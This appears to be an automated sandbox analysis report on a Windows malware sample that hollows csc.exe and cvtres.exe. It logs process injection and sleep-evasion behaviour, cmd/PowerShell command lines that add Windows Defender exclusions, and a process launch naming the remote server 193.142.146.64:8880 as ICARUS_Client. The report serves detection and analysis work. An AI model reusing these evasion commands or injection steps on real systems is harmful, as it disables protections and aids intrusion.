Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594788	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594341	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594233	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594118	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594012	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593683	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593577	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593356	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593138	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 592921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 592812	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Window / User API: threadDelayed 5310	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Window / User API: threadDelayed 4440	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5092	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 525	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4662	Jump to behavior

Source: C:\Users\user\Desktop\licarisan_api.exe

Dropped PE file which has not been started: C:\Users\user\Music\OcoulsUpdater\EyesUpdater.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe TID: 7604	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 7644	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 6068	Thread sleep count: 5310 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -599668s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 6068	Thread sleep count: 4440 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -599323s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -598962s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -598842s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -598619s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -597719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -597468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -596593s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -596374s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -596264s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -596155s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -596046s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -595827s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -595598s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -595463s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -594788s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -594453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -594341s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -594233s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -594118s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -594012s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -593905s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -593796s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -593683s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -593577s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -593468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -593356s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -593250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -593138s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -593031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -592921s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 2868	Thread sleep time: -592812s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8124	Thread sleep count: 5092 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1648	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8112	Thread sleep count: 525 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8100	Thread sleep count: 4662 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3540	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8104	Thread sleep count: 234 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599668	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599323	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598962	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598842	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598619	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596374	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596264	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596155	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595598	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595463	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594788	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594341	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594233	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594118	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 594012	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593683	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593577	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593356	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593138	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 593031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 592921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 592812	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: cvtres.exe, 0000000C.00000002.2504548519.0000000001166000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\licarisan_api.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: csc.exe PID: 7584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7640, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, YGRKZZ70EYH6.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, YGRKZZ70EYH6.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, 2A4ZY3PGYZLX.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)
Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, 2A4ZY3PGYZLX.cs	Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num2, length, 12288, 64)
Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, 2A4ZY3PGYZLX.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num4, data, bufferSize, ref bytesRead)

Adds a directory exclusion to Windows Defender

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\licarisan_api.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 5220000 protect: page execute and read and write			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\licarisan_api.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 5220000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\licarisan_api.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 5220000	Jump to behavior
Source: C:\Users\user\Desktop\licarisan_api.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 4FCD008	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 402000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 420000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 422000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: C99008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe	Jump to behavior

Source: csc.exe, 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: Shell_TrayWnd

